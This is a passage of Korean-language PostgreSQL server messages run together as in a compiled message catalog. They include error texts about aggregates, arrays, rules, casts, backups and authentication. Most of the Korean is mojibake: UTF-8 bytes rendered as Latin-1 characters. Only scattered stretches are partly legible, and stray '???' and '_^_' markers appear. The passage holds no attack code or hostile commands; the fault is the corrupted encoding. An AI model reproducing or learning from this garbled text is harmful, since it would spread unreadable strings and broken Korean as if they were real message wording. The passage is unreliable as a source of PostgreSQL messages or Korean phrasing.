ì‚¬ìš©ë˜ì–´ì•¼í•©ë‹ˆë‹¤.ON INSERT DO INSTEAD ì†ì„±ìœ¼ë¡œ rule를 만들어서 사용해 보세요.RETURNING ì ˆì—서는 무조건 ON UPDATE DO INSTEAD ì†ì„±ìœ¼ë¡œ ruleì´ ì‚¬ìš©ë˜ì–´ì•¼í•©ë‹ˆë‹¤.ON UPDATE DO INSTEAD ì†ì„±ìœ¼ë¡œ rule를 만들어서 사용해 보세요.--with-libxmlì„ ì‚¬ìš©í•˜ì—¬ PostgreSQLì„ ë‹¤ì‹œ 빌드해야 합니다.커ë„ì˜ SEMVMX ê°’ì„ ì ì–´ë„ %d ì •ë„로 늘려야할 필요가 있는 것 같습니다.  ìžì„¸í•œ ê²ƒì€ PostgreSQL 문서를 참조하세요.ë‹¤ìŒ ëª…ë ¹ì„ ë¨¼ì € 실행하십시오: CREATE USER "%s" CREATEUSER;.다시 ì •ì˜í•˜ê±°ë‚˜ 형변화ìžë¥¼ 사용해보십시오0ì„ ì§€ì •í•˜ë©´ 모든 파ì¼ì´ 기ë¡ë©ë‹ˆë‹¤. 기본 ê°’ì€ -1로, ì´ ê¸°ëŠ¥ì´ í•´ì œë©ë‹ˆë‹¤.0ì„ ì§€ì •í•˜ë©´ 모든 ìž‘ì—…ì´ ì¸ì‡„ë©ë‹ˆë‹¤. -1ì„ ì§€ì •í•˜ë©´ ìžë™ 청소 기ë¡ì´ í•´ì œë©ë‹ˆë‹¤.0ì„ ì§€ì •í•˜ë©´ 모든 쿼리가 ì¸ì‡„ë©ë‹ˆë‹¤. -1ì„ ì§€ì •í•˜ë©´ ì´ ê¸°ëŠ¥ì´ í•´ì œë©ë‹ˆë‹¤.0ì„ ì§€ì •í•˜ë©´ ì ì ˆí•œ 기본 ê°’ì´ ì„ íƒë©ë‹ˆë‹¤.[알수없ìŒ]ì´ë¯¸ 백업 ìž‘ì—…ì´ ì§„í–‰ 중입니다현재 백업 ìž‘ì—…ì„ í•˜ì§€ 않고 있습니다열 ì •ì˜ ë¦¬ìŠ¤íŠ¸ (column definition list) 는 오로지 "record" 를 리턴하는 함수 ë‚´ì—서만 허용ë©ë‹ˆë‹¤.ì—´ ì •ì˜ ë¦¬ìŠ¤íŠ¸(column definition list)는 "record" 를 리턴하는 함수를 필요로 합니다ì´ë¦„ì€ "/"기호 ë’¤ì— ìžˆì–´ì•¼ 합니다.ìŒìˆ˜ì˜ 비정수 ê±°ë“­ì œê³±ì„ ê³„ì‚°í•˜ë©´ 복잡한 결과가 ìƒì„±ë¨ë¹„ì •ìƒì ì¸ ë°ì´í„°ë² ì´ìФ 시스템 서비스를 중지모든 활성화 ë˜ì–´ìžˆëŠ” íŠ¸ëžœìž­ì…˜ì„ ì¤‘ì§€í•˜ê³  있습니다.시작 프로세스 실패 ë•Œë¬¸ì— ì„œë²„ ì‹œìž‘ì´ ì¤‘ì§€ ë˜ì—ˆìŠµë‹ˆë‹¤ì ˆëŒ€ 경로는 허용하지 않ìŒGSS 보안 컨í…스트를 수ë½í•˜ì§€ 못함"%s" ì¸ë±ìФ 액세스 ë°©ë²•ì´ ì—†ìŠµë‹ˆë‹¤"%s" ì¸ë±ìФ 액세스 ë°©ë²•ì€ ë‹¤ì¤‘ ì—´ ì¸ë±ìŠ¤ë¥¼ ì§€ì›í•˜ì§€ 않습니다"%s" ì¸ë±ìФ 액세스 ë°©ë²•ì€ ê³ ìœ  ì¸ë±ìŠ¤ë¥¼ ì§€ì›í•˜ì§€ 않습니다%s ê°œì²´ì˜ ì•¡ì„¸ìŠ¤ 권한"%s" ë¼ì´ë¸ŒëŸ¬ë¦¬ ì‚¬ìš©ì´ ê¸ˆì§€ë˜ì–´ìžˆìŠµë‹ˆë‹¤aclinsert ë”ì´ìƒ ì§€ì›í•˜ì§€ 않ìŒaclremovie ë”ì´ìƒ ì§€ì›í•˜ì§€ 않ìŒí…Œì´ë¸” "%s"ì— ë¹ ì§„ FROM ì ˆì„ ì¶”ê°€í•˜ì„¸ìš”.advisory lock [%u,%u,%u,%u]%s 집계함수 ì—†ìŒ%s(%s) 집계 함수 ì—†ìŒ, 건너 뜀%s(*) 집계 함수 ì—†ìŒ%u ì§‘ê³„ì— í˜¸í™˜ 가능한 ìž…ë ¥ 형ì‹ê³¼ 변환 형ì‹ì´ 있어야 함"%s" ì†ì„±ì„ aggregateì—서 알 수 ì—†ìŒì§‘계 함수는 재귀 ì¿¼ë¦¬ì˜ ìž¬ê·€ ì¡°ê±´ì— ì‚¬ìš©í•  수 ì—†ìŒaggregate ìž…ë ¥ ìžë£Œí˜•ì„ ì§€ì •í•´ì•¼ 합니다aggregate sfunc ê°’ì„ ì§€ì •í•˜ì…”ì•¼í•©ë‹ˆë‹¤aggregate stype ê°’ì„ ì§€ì •í•˜ì…”ì•¼í•©ë‹ˆë‹¤%s ìžë£Œí˜•ì€ aggregate transition ìžë£Œí˜•으로 사용할 수 없습니다GROUP BY ì ˆì—서는 집합함수가 허용ë˜ì§€ 않습니다JOIN 조건문ì—서는 집계함수가 허용ë˜ì§€ 않습니다WHERE ì¡°ê±´ì ˆì—서는 집계함수를 사용할 수 없습니다"%c" ì •ë ¬ì€ í¬ê¸°ê°€ %dì¸ ì „ë‹¬ ê°’ 형ì‹ì— 유효하지 않ìŒ"%c" ì •ë ¬ì€ ê°€ë³€ ê¸¸ì´ í˜•ì‹ì— 유효하지 않ìŒìž˜ëª»ëœ ALIGNMENT ê°’: "%s"모든 서버 프로세스가 중지 ë˜ì—ˆìŠµë‹ˆë‹¤; 재 초기화 중"%s.%s" ë¶„ì„중"%s" ê¸°ë¡ íŒŒì¼ì˜ í¬ê¸°ê°€ ì´ìƒí•©ë‹ˆë‹¤: 현재값 %lu, ì›ëž˜ê°’ %luìžë£Œ 복구 완료<qbq>archive_commandê°€ ì •ì˜ë˜ì–´ 있어야 온ë¼ì¸ ë°±ì—…ì„ ì•ˆì „í•˜ê²Œ 수행할 수 있습니다.archive_modeê°€ 사용 설정ë˜ì—ˆëŠ”ë° archive_commandê°€ 설정ë˜ì§€ 않ìŒì•„ì¹´ì´ë¹™ëœ 트랜잭션 ë¡œê·¸íŒŒì¼ "%s"archiver 프로세스"anyarray" 로 ì„ ì–¸ëœ ì¸ìˆ˜ë“¤ì´ array ê°€ 아니고, %s ìžë£Œí˜•입니다"anyarray" 로 ì„ ì–¸ëœ ì¸ìˆ˜ë“¤ì´ "anyelement" 로 ì„ ì–¸ëœ ì¸ìˆ˜ë“¤ê³¼ ì¼ê´€ì„±ì´ 있질 않습니다"exp" í•¨ìˆ˜ì˜ ì¸ìˆ˜ë¡œ 너무 í°ê°’ì´ ì§€ì •ë˜ì—ˆìŠµë‹ˆë‹¤ì¸ìˆ˜ëŠ” 비어있거나 1ì°¨ì› ë°°ì—´ì´ì–´ì•¼ 합니다.%sì˜ ì¸ìˆ˜ëŠ” ì´ë¦„ì´ì–´ì•¼ 합니다%sì˜ ì¸ìˆ˜ëŠ” ìžë£Œí˜• ì´ë¦„ì´ì–´ì•¼í•©ë‹ˆë‹¤%sì˜ ì¸ìˆ˜ëŠ” %s ìžë£Œí˜•ì´ ì•„ë‹ˆë¼, boolean ìžë£Œí˜•ì´ì–´ì•¼ 합니다%s ì˜ ì¸ìˆ˜ë¡œ 변수를 í¬í•¨í•  수 없습니다.%s ì˜ ì¸ìˆ˜ëŠ” set(ì§‘í•©) ì„ return할수 없습니다.pg_get_expr() ì¸ìˆ˜ëŠ” 시스템 카탈로그ì—서 제공ë˜ì–´ì•¼ 함%s ì¸ìˆ˜ ìžë£Œí˜•ì€ ë‹¨ì§€ 셸입니다"anyarray" 로 ì„ ì–¸ëœ ì¸ìˆ˜ë“¤ì´ ëª¨ë‘ ê°™ì§€ 않습니다."anyelement" 로 ì„ ì–¸ëœ ì¸ìˆ˜ë“¤ì´ ëª¨ë‘ ê°™ì§€ 않습니다IN 구문 ì•ˆì— ì“°ì´ëŠ” ìžë£Œë“¤ì€ ë°°ì—´í• ë‹¹ì€ ìžë£Œí˜• %s ê°€ 필요하지만, 현재 표현ì‹ì´ %s ìžë£Œí˜•입니다"%s" ì—´ì— ì‚¬ìš©ëœ ìžë£Œí˜•ì€ %s ê°€ 필요하지만, 현재 표현ì‹ì´ %s ìžë£Œí˜•입니다??? array coercion to domain type elements not currently supportedë°°ì—´ ì°¨ì›ì´ ë°°ì—´ 리터럴과 호환ë˜ì§€ 않ìŒë°°ì—´ ìš”ì†Œì˜ ìžë£Œí˜•으로 %s ìžë£Œí˜•ì„ ì‚¬ìš©í•  수 없습니다배열ì—는 null ê°’ì„ í¬í•¨í•  수 없습니다무게 ë°°ì—´ì´ ë„ˆë¬´ ì§§ìŒë°°ì—´ í¬ê¸°ê°€ 최대치 (%d)를 초과했습니다배열 하위 스í¬ë¦½íŠ¸ë¡œ 지정하는 값으로 null ê°’ì„ ì‚¬ìš©í•  수 없습니다배열 하위 스í¬ë¦½íŠ¸ëŠ” 반드시 정수형ì´ì–´ì•¼ 합니다.ë°°ì—´ 하위 스í¬ë¦½íЏ 범위를 ì´ˆê³¼í–ˆìŠµë‹ˆë‹¤ë°°ì—´ê°’ì€ "{" ë˜ëŠ” ë°°ì—´ ê¹Šì´ ì •ë³´ë¡œ 시작ë˜ì–´ì•¼ í•©ë‹ˆë‹¤ì´ ì„œë²„ëŠ” assertion 검사 ê¸°ëŠ¥ì´ ë¹ ì§„ 채로 만들어졌습니다.ì¸ë±ìФ ì§€ì› í”„ë¡œì‹œì €ì— ëŒ€í•´ 관련 ë°ì´í„° 형ì‹ì„ 지정해야 함왼쪽 ì´ë‚˜ 오른쪽 중 ì ì–´ë„ í•˜ë‚˜ì˜ ì¸ìˆ˜ëŠ” 지정해야 합니다"%s" 매개 변수를 다시 ì •ì˜í•˜ë ¤ê³  함%d ì†ì„±ì˜ 형ì‹ì´ 잘못ë¨ì‚¬ìš©ìž "%s"ì˜ ì¸ì¦ì„ 실패했습니다: 호스트 ê±°ë¶€ë¨ì‚¬ìš©ìž "%s"ì˜ ì¸ì¦ì„ 실패했습니다: ìž˜ëª»ëœ ì¸ì¦ 방법ì¸ì¦ 파ì¼ì˜ 토í°ì´ 너무 길어서 건너ëœë‹ˆë‹¤: "%s"ì¸ì¦ ì˜µì…˜ì´ ì´ë¦„=ê°’ 형태가 아님: %s"%s.%s.%s" í…Œì´ë¸” ìžë™ ë¶„ì„"%s.%s.%s" í…Œì´ë¸”ì˜ ì‹œìŠ¤í…œ 사용 ìžë™ ë¶„ì„: %sìžë™ 복구 ì§„í–‰ 중<qbq>"%s.%s.%s" í…Œì´ë¸”ì˜ ìžë™ 청소: ì¸ë±ìФ 스캔: %d
<qbq>%dê°œ 페ì´ì§€ 제거ë¨, %dê°œ 페ì´ì§€ 남ìŒ
<qbq>%.0fê°œ 튜플 제거ë¨, %.0fê°œ 남ìŒ
<qbq>시스템 사용: %s서버 설정 ì •ë³´ê°€ 잘못ë˜ì–´ ìžë™ 청소 ìž‘ì—…ì´ ì‹¤í–‰ë˜ì§€ 못했습니다.ìžë™ 청소: "%s" ë°ì´í„°ë² ì´ìФ 처리 중백그ë¼ìš´ë“œ writer 프로세스집계 ìž…ë ¥ í˜•ì‹ ì§€ì •ì—서 basetypeì´ ì¤‘ë³µë¨bigintì˜ ë²”ìœ„ë¥¼ 벗어났습니다.ë°”ì´ë„ˆë¦¬ ê°’ì´ bigint ìžë£Œí˜• 범위를 초과했습니다바ì¸ë“œ: %s -> %së°”ì¸ë“œ 메시지는 %d 매개 변수 형태지만, %d 매개 변수여야함바ì¸ë“œ 메시지는 %d ê²°ê³¼ í¬ë©§ì„ 가지고 있고, 쿼리는 %d ì—´ì„ ê°€ì§€ê³  있습니다바ì¸ë“œ 메시지는 %dê°œì˜ ë§¤ê°œ 변수를 ì§€ì›í•˜ì§€ë§Œ, "%s" ì¤€ë¹„ëœ ëª…ë ¹ 구문(prepared statement)ì—서는%d ê°œì˜ ë§¤ê°œ 변수가 필요합니다길ì´ê°€ %dì¸ ë¹„íŠ¸ 문ìžì—´ ìžë£ŒëŠ” bit(%d) ìžë£Œí˜•ì˜ ê¸¸ì´ì™€ ì¼ì¹˜í•˜ì§€ 않습니다비트 문ìžì—´ì´ 너무 ê¹ë‹ˆë‹¤(해당 ìžë£Œí˜• bit varying(%d))btree 프로시저ì—는 ë‘ ê°œì˜ ì¸ìˆ˜ê°€ 있어야 함btree 프로시저는 반드시 integer ìžë£Œí˜•ì„ ë¦¬í„´í•´ì•¼ë§Œí•©ë‹ˆë‹¤.ìºì‹œëœ 계íšì—서 ê²°ê³¼ 형ì‹ì„ 바꾸지 않아야 함열려있는 현재 ë°ì´í„°ë² ì´ìФì—서만 reindex ëª…ë ¹ì„ ì‚¬ìš©í•  수 있습니다ìžë™ 청소 ìž‘ì—…ì„ ì·¨ì†Œí•˜ëŠ” 중명령실행시간 초과로 ìž‘ì—…ì„ ì·¨ì†Œí•©ë‹ˆë‹¤.ì‚¬ìš©ìž ìš”ì²­ì— ì˜í•´ ìž‘ì—…ì„ ì·¨ì†Œí•©ë‹ˆë‹¤.서로 í¬ê¸°ê°€ 틀린 비트 문ìžì—´ë¡œ AND ì—°ì‚°ì„ í•  수 없습니다.서로 í¬ê¸°ê°€ 틀린 inet ê°’ë“¤ì€ AND ì—°ì‚°ì„ í•  수 없습니다.서로 í¬ê¸°ê°€ 틀린 비트 문ìžì—´ë¡œ OR ì—°ì‚°ì„ í•  수 없습니다.서로 í¬ê¸°ê°€ 틀린 inet ê°’ë“¤ì€ OR ì—°ì‚°ì„ í•  수 없습니다.WITH HOLD 옵션으로 커서를 만든 íŠ¸ëžœìž­ì…˜ì„ PREPAREí•  수 ì—†ìŒLISTEN ë˜ëŠ” UNLISTEN 옵션으로 ì‹¤í–‰ëœ íŠ¸ëžœìž­ì…˜ì„ PREPAREí•  수 ì—†ìŒìž„시 í…Œì´ë¸”ì— ëŒ€í•´ ì‹¤í–‰ëœ íŠ¸ëžœìž­ì…˜ì„ PREPAREí•  수 ì—†ìŒì„œë¡œ í¬ê¸°ê°€ 틀린 비트 문ìžì—´ì€ XOR ì—°ì‚°ì„ í•  수 없습니다.ì…¸ 형태 ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒany 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒanyarray 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒanyelement 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒinternal 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒlanguage_handler 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒopaque 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒtrigger 형ì‹ì˜ ê°’ì€ ì‚¬ìš©í•  수 ì—†ìŒ"%s" ì´ë¦„ì˜ ì—´ì€ ìƒì† ë°›ì€ ì—´ìž…ë‹ˆë‹¤, ì´ë¦„ì„ ë°”ê¿€ 수 없습니다"%s" ì—´ì€ ì‹œìŠ¤í…œ 열입니다. 그래서 ë³€ê²½ë  ìˆ˜ 없습니다"%s" í…Œì´ë¸”ì„ ë³€ê²½í•  수 ì—†ìŒ("%s"."%s" ì—´ì—서 해당 í–‰ 형ì‹ì„ 사용함)ë·° ë˜ëŠ” 규칙ì—서 사용하는 ì—´ì˜ í˜•ì‹ì„ 변경할 수 ì—†ìŒ"%s" ì—´ì€ ì‹œìŠ¤í…œ 열입니다. 그래서 ë³€ê²½ë  ìˆ˜ 없습니다새 "%s" í…Œì´ë¸”스페ì´ìŠ¤ë¥¼ 지정할 수 없습니다.ê³ ì • ê¸¸ì´ ë°°ì—´ì˜ ìš”ì†Œì— null ê°’ì„ ì§€ì •í•  수 ì—†ìŒ"%s" 필드 (ëŒ€ìƒ ì—´ "%s")를 지정할 수 ì—†ìŒ, %s ìžë£Œí˜•ì€ ë³µí•©ìžë£Œí˜•ì´ ì•„ë‹ˆê¸° 때문"%s" 필드 (ëŒ€ìƒ ì—´ "%s")를 지정할 수 ì—†ìŒ, %s ìžë£Œí˜•ì—서 그런 ì—´ì„ ì°¾ì„ ìˆ˜ ì—†ìŒì‹œìŠ¤í…œ ì—´ "%s"ì— í• ë‹¹í•  수 없습니다.ì—°ë„ ì •ë³´ ì—†ì´ ëª‡ë²ˆì§¸ ë‚ (day of year) ì¸ì§€ 계산할 수 없습니다.%s ìžë£Œí˜•ì„ %s ìžë£Œí˜•으로 형변환할 수 없습니다."%s" TOAST 릴레ì´ì…˜ì„ 바꿀 수 ì—†ìŒ"%s" ì¸ë±ìŠ¤ì˜ ì†Œìœ ì£¼ë¥¼ 바꿀 수 ì—†ìŒ"%s" ì‹œí€€ìŠ¤ì˜ ì†Œìœ ì£¼ë¥¼ 바꿀 수 ì—†ìŒì´ë¯¸ 있는 í•¨ìˆ˜ì˜ ë¦¬í„´ ìžë£Œí˜•ì€ ë°”ê¿€ 수 없습니다"%s" 시퀀스를 바꿀 수 ì—†ìŒ"%s" 뷰를 바꿀 수 ì—†ìŒ"%s" expressional ì¸ë±ìŠ¤ëŠ” null ê°’ì„ ì²˜ë¦¬í•˜ì§€ 못하는 ìžë£Œ 액세스 ë°©ë²•ì„ ì‚¬ìš©í•˜ê¸° ë•Œë¬¸ì— cluster ìž‘ì—…ì„ í•  수 없습니다."%s" ì¸ë±ìŠ¤ëŠ” null ê°’ì„ ì²˜ë¦¬í•˜ì§€ 못하는 ìžë£Œ 액세스 ë°©ë²•ì„ ì‚¬ìš©í•˜ê¸° ë•Œë¬¸ì— cluster ìž‘ì—…ì„ í•  수 없습니다."%s" ì¸ë±ìŠ¤ëŠ” ìžë£Œ 액세스 ë°©ë²•ì´ cluster ìž‘ì—…ì„ í•  수 없는 방법입니다."%s" ì¸ë±ìŠ¤ê°€ 부분ì¸ë±ìФ(partial index)ë¼ì„œ cluster ìž‘ì—…ì„ í•  수 없습니다다른 ì„¸ì…˜ì˜ ìž„ì‹œ í…Œì´ë¸”ì€ cluster ìž‘ì—…ì„ í•  수 없습니다배열 요소 ìžë£Œí˜•ì´ ì„œë¡œ 틀린 ë°°ì—´ì€ ë¹„êµí•  수 없습니다.서로 다른 ì—´ í˜•ì‹ %sê³¼(와) %s(레코드 ì—´ %d)ì„(를) 비êµí•  수 ì—†ìŒê¸¸ì´ê°€ ì˜(0)ì¸ í–‰ë“¤ì€ ë¹„êµí•  수 없습니다연결할 수 없는 배열들 입니다.NaN ê°’ì„ bigint형으로 변환할 수 없습니다NaN ê°’ì„ ì •ìˆ˜í˜•ìœ¼ë¡œ 변환할 수 없습니다NaN ê°’ì„ smallint형으로 변환할 수 없습니다"invalid" abstime ìžë£Œí˜•ì„ timestamp ìžë£Œí˜•으로 변환할 수 없습니다.ë°˜ì§€ë¦„ì´ 0ì¸ ì›ì€ í´ë¦¬ê³¤ìœ¼ë¡œ 변환할 수 없습니다.비어있는 í´ë¦¬ê³¤ì„ ì›ìœ¼ë¡œ 변환할 수 없습니다.ë·°ì—서 ì‚­ì œëœ ì—´ì„ í¬í•¨í•˜ê³  있는 릴레ì´ì…˜ì„ 변환할 수 없습니다reltime "invalid"를 interval로 변환할 수 ì—†ìŒ???abstime ê°’ì„ date로 형변환할 수 없습니다."%s" 개체는 í…Œì´ë¸”ì´ ì•„ë‹Œ 릴레ì´ì…˜(relation)ì´ê¸°ì— ìžë£Œë¥¼ 내보낼 수 없습니다"%s" ì´ë¦„ì˜ ê°œì²´ëŠ” 시퀀스입니다. ìžë£Œë¥¼ 내보낼 수 없습니다"%s" ì´ë¦„ì˜ ê°œì²´ëŠ” ë·°(view)입니다. ìžë£Œë¥¼ 내보낼 수 없습니다"%s" 개체는 í…Œì´ë¸”ì´ ì•„ë‹Œ 릴레ì´ì…˜(relation)ì´ê¸°ì— 복사할 수 ì—†ìŒ"%s" ì‹œí€€ìŠ¤ì— ë³µì‚¬í•  수 ì—†ìŒ"%s" ë·°(view)ì— ë³µì‚¬í•  수 ì—†ìŒ???í´ë¦¬ê³¤ ì—†ì´ ë‹«ížŒ ìƒìžë¥¼ ìƒì„±í•  수 없습니다.다른 ì„¸ì…˜ì˜ ìž„ì‹œ í…Œì´ë¸”ì— ì¸ë±ìŠ¤ë¥¼ 만들 수는 없습니다뷰(view)로는 ìžë£Œë¥¼ 삭제할 수 없습니다결과 ìžë£Œí˜•ì„ ê²°ì •í•  수 ì—†ìŒì²˜ë¦¬í• (변환할) ìžë£Œí˜•ì„ ê²°ì •í•  수 ì—†ìŒshell 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒany 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒanyelement 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒinternal 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒlanguage_handler 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒopaque 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒtrigger 형ì‹ì˜ ê°’ì€ í‘œì‹œí•  수 ì—†ìŒ%s 삭제할 수 ì—†ìŒ, %sì—서 필요로함%s 개체는 ë°ì´í„°ë² ì´ìФ 시스템ì—서 필요하기 ë•Œë¬¸ì— ì‚­ì œ ë  ìˆ˜ ì—†ìŒê¸°íƒ€ 다른 ê°œì²´ë“¤ì´ ì´ ê°œì²´ì— ì˜ì¡´í•˜ê³  있어, %s 삭제할 수 ì—†ìŒí…œí”Œë¦¿ ë°ì´í„°ë² ì´ìŠ¤ëŠ” 삭제할 수 없습니다"%s" ì—´ì€ ìƒì†ë°›ì€ 열입니다, ì‚­ì œë  ìˆ˜ 없습니다%s ì†Œìœ ì£¼ì˜ ê°œì²´ 삭제는 ê·¸ ë°ì´í„°ë² ì´ìФ 시스템ì—서 필요하기 ë•Œë¬¸ì— ì‚­ì œ ë  ìˆ˜ ì—†ìŒ"%s" ì—´ì€ ì‹œìŠ¤í…œ 열입니다, ì‚­ì œë  ìˆ˜ 없습니다현재 ì—´ë ¤ 있는 ë°ì´í„°ë² ì´ìŠ¤ëŠ” 삭제할 수 없습니다"log_parser_stats", "log_planner_stats", "log_executor_stats" 설정값들 중 하나가 true ì¼ ë•ŒëŠ” "log_statement_stats" ì„¤ì •ì„ í™œì„±í™”í•  수 없습니다"log_statement_stats" ê°’ì´ true ì¼ ë•ŒëŠ” ì´ ê°’ì„ í™œì„±í™”í•  수 없습니다보안 제한 작업 ë‚´ì—서 %sì„(를) 실행할 수 ì—†ìŒmultiple ruleì— RETURNING 목ë¡ì„ 지정할 수 없습니다참조키(foreign key)ì—서 %d 키 개수보다 ë§Žì´ ê°€ì§ˆ 수 ì—†ìŒí•˜ë‚˜ì˜ 트랜잭션 안ì—서는 2^32-1 ê°œì˜ ëª…ë ¹ì„ ì´ˆê³¼í•  수 ì—†ìŒí•˜ë‚˜ì˜ 트랜잭션 안ì—서는 2^32-1 ê°œì˜ í•˜ìœ„íŠ¸ëžœìž­ì…˜ì„ ì´ˆê³¼í•  수 ì—†ìŒí•˜ë‚˜ì˜ ruleì—서 ì—¬ëŸ¬ê°œì˜ RETURNING 목ë¡ì„ 지정할 수 없습니다SET TABLESPACE êµ¬ë¬¸ì´ ì¤‘ë³µ 사용ë˜ì—ˆìŠµë‹ˆë‹¤"%s" 임시 í…Œì´ë¸”입니다, 그래서 ìƒì† 대ìƒì´ ë  ìˆ˜ 없습니다뷰(view)ì— ìžë£Œë¥¼ 입력할 수 ì—†ìŠµë‹ˆë‹¤ì¤€ë¹„ëœ ëª…ë ¹ 구문ì—는 다중 ëª…ë ¹ì„ ì‚½ìž…í•  수 없습니다배열 형태가 서로 틀려 병합할 수 ì—†ìŠµë‹ˆë‹¤ì†Œìœ ëœ ì‹œí€€ìŠ¤ë¥¼ 다른 스키마로 ì´ë™í•  수 ì—†ìŒTOAST 스키마로(ì—서) 개체를 ì´ë™í•  수 없습니다임시 스키마로(ì—서) 개체를 ì´ë™í•  수 없습니다"%s" 시스템 릴레ì´ì…˜ìž…니다. ì´ë™í•  수 없습니다다른 ì„¸ì…˜ì˜ ìž„ì‹œ í…Œì´ë¸”ë“¤ì€ ì´ë™í•  수 없습니다%s 쿼리로 커서를 ì—´ 수 ì—†ìŒ.멀티 쿼리를 커서로 ì—´ 수는 없습니다"%s" ì°½ì˜ ORDER BY ì ˆì„ ìž¬ì •ì˜í•  수 ì—†ìŒ"%s" ì°½ì˜ PARTITION BY ì ˆì„ ìž¬ì •ì˜í•  수 ì—†ìŒ"%s" 릴레ì´ì…˜ì—서 DELETE RETURNING ê´€ë ¨ì„ êµ¬ì„±í•  수 없습니다."%s" 릴레ì´ì…˜ì—서 INSERT RETURNING ê´€ë ¨ì„ êµ¬ì„±í•  수 ì—†ìŒ"%s" 릴레ì´ì…˜ì—서 UPDATE RETURNING ê´€ë ¨ì„ êµ¬ì„±í•  수 없습니다.임시 í…Œì´ë¸” 제약 ì¡°ê±´ì—서 ì¼ë°˜ í…Œì´ë¸”ì„ ì°¸ì¡°í•  수는 없습니다ì¼ë°˜ í…Œì´ë¸” 제약 ì¡°ê±´ì—서 임시 í…Œì´ë¸”ì„ ì°¸ì¡°í•  수는 없습니다%s ì˜ì¡´ê°œì²´ë“¤ì€ 시스템 개체ì´ê¸° ë•Œë¬¸ì— ì‚­ì œ ë  ìˆ˜ 없습니다"%s" ì´ë¦„ì˜ ì—´ì€ ìƒì† ë°›ì€ ì—´ìž…ë‹ˆë‹¤, ì´ë¦„ì„ ë°”ê¿€ 수 없습니다"%s" ì´ë¦„ì˜ ì—´ì€ ì‹œìŠ¤í…œ 열입니다, ì´ë¦„ì„ ë°”ê¿€ 수 없습니다"%s" 시스템 릴레ì´ì…˜ì„ 다시 쓰기(rewrite) í•  수 ì—†ìŒë‹¤ë¥¸ ì„¸ì…˜ì˜ ìž„ì‹œ í…Œì´ë¸”ì„ ë‹¤ì‹œ 쓰기(rewrite) í•  수 ì—†ìŒí•˜ìœ„필드를 DEFAULT로 설정할 수 없습니다.ë°°ì—´ 요소를 DEFAULT 로 설정할 수 없습니다.보안 ì •ì˜ìž 함수 ë‚´ì—서 "%s" 매개 변수를 설정할 수 ì—†ìŒë³´ì•ˆ 제한 작업 ë‚´ì—서 "%s" 매개 변수를 설정할 수 ì—†ìŒì½ê¸° ì „ìš© 트랜잭션 ë‚´ì—서 íŠ¸ëžœìž­ì…˜ì„ ì½ê¸°/쓰기 모드로 설정할 수 ì—†ìŒBINARY 모드ì—서는 CSV 파ì¼ì„ 지정할 수 ì—†ìŒBINARY 모드ì—서는 DELIMITER ê°’ì„ ì§€ì •í•  수 ì—†ìŒBINARY 모드ì—서는 NULL ê°’ì„ ì§€ì •í•  수 ì—†ìŒSCROLL ê³¼ NO SCROLL 둘다를 명시할 수 없다ìžë£Œí˜• %s 는 ë°°ì—´ì´ ì•„ë‹ˆê¸° ë•Œë¬¸ì— ë°°ì—´ 하위 스í¬ë¦½íŠ¸ë¥¼ 기술할 수 없습니다.inet ê°’ì—서 서로 í¬ê¸°ê°€ 틀리게 부분 추출(subtract)í•  수 ì—†ìŒ??? 불충분한 íƒ€ìž„ìŠ¤íƒ¬í”„ê°’ì„ ëº„ 수 ì—†ìŒìŒìˆ˜ì˜ 대수를 구할 수 없습니다.0ì˜ ëŒ€ìˆ˜ë¥¼ 구할 수 없습니다.ìŒìˆ˜ì˜ ì œê³±ê·¼ì„ êµ¬í•  수 없습니다._^_ í…Œì´ë¸” ë‚´ìš©ì„ ëª¨ë‘ ì‚­ì œí•  수 ì—†ìŒ, 참조키(foreign key) 제약 ì¡°ê±´ 안ì—서"%s" 시스템 릴레ì´ì…˜ì˜ ìžë£ŒëŠ” 비울(truncate) 수 없습니다다른 ì„¸ì…˜ì˜ ìž„ì‹œ í…Œì´ë¸” ìžë£ŒëŠ” 비울(truncate) 수 없습니다뷰(view)로는 ìžë£Œë¥¼ 갱신할 수 없습니다"PR" 와 "S"/"PL"/"MI"/"SG" 를 함께 쓸 수 없습니다."S" 와 "MI" 를 함께 쓸 수 없습니다."S" 와 "PL" 를 함께 쓸 수 없습니다."S" 와 "PL"/"MI"/"SG"/"PR" 를 함께 쓸 수 없습니다."S" 와 "SG" 를 함께 쓸 수 없습니다."V" 와 소숫ì ì„ 함께 쓸 수 없습니다.EXECUTE 매개 변수로 집계함수를 사용할 수 없습니다RETURNING 안ì—서는 집계함수를 쓸 수 없습니다UPDATE 구문ì—서는 집계함수를 쓸 수 없습니다VALUESì—는 집계함수를 쓸 수 ì—†ìŠµë‹ˆë‹¤ì²´í¬ ì œì•½ ì¡°ê±´ì—서는 집계 함수를 사용할 수 없습니다default 표현ì‹ì—서는 집계 함수를 사용할 수 없습니다FROM ì ˆ ë‚´ì˜ í•¨ìˆ˜ í‘œí˜„ì‹ ë‚´ì—서는 집합함수를 사용할 수 없다ì¸ë±ìФ ì‹(expression)ì— ì§‘ê³„í•¨ìˆ˜ë¥¼ 사용할 수 없습니다WHERE ì¡°ê±´ì ˆ 안ì—서는 집계함수를 사용할 수 없습니다.transform ì‹(expression)ì— ì§‘ê³„í•¨ìˆ˜ë¥¼ 사용할 수 없습니다ì¸ë±ìФ 술어(predicate)ì— ì§‘ê³„í•¨ìˆ˜ë¥¼ 사용할 수 없습니다ì¸ì¦ 메소드 "crypt"는 MD5 ì¸ì¦ë°©ë²•으로 바뀌어 ì ìš©ë˜ê¸° ë•Œë¬¸ì— ì‚¬ìš©í•  수 없다default 표현ì‹ì—서는 ì—´ reference를 사용할 수 ì—†ìŒí•˜ë‚˜ì˜ 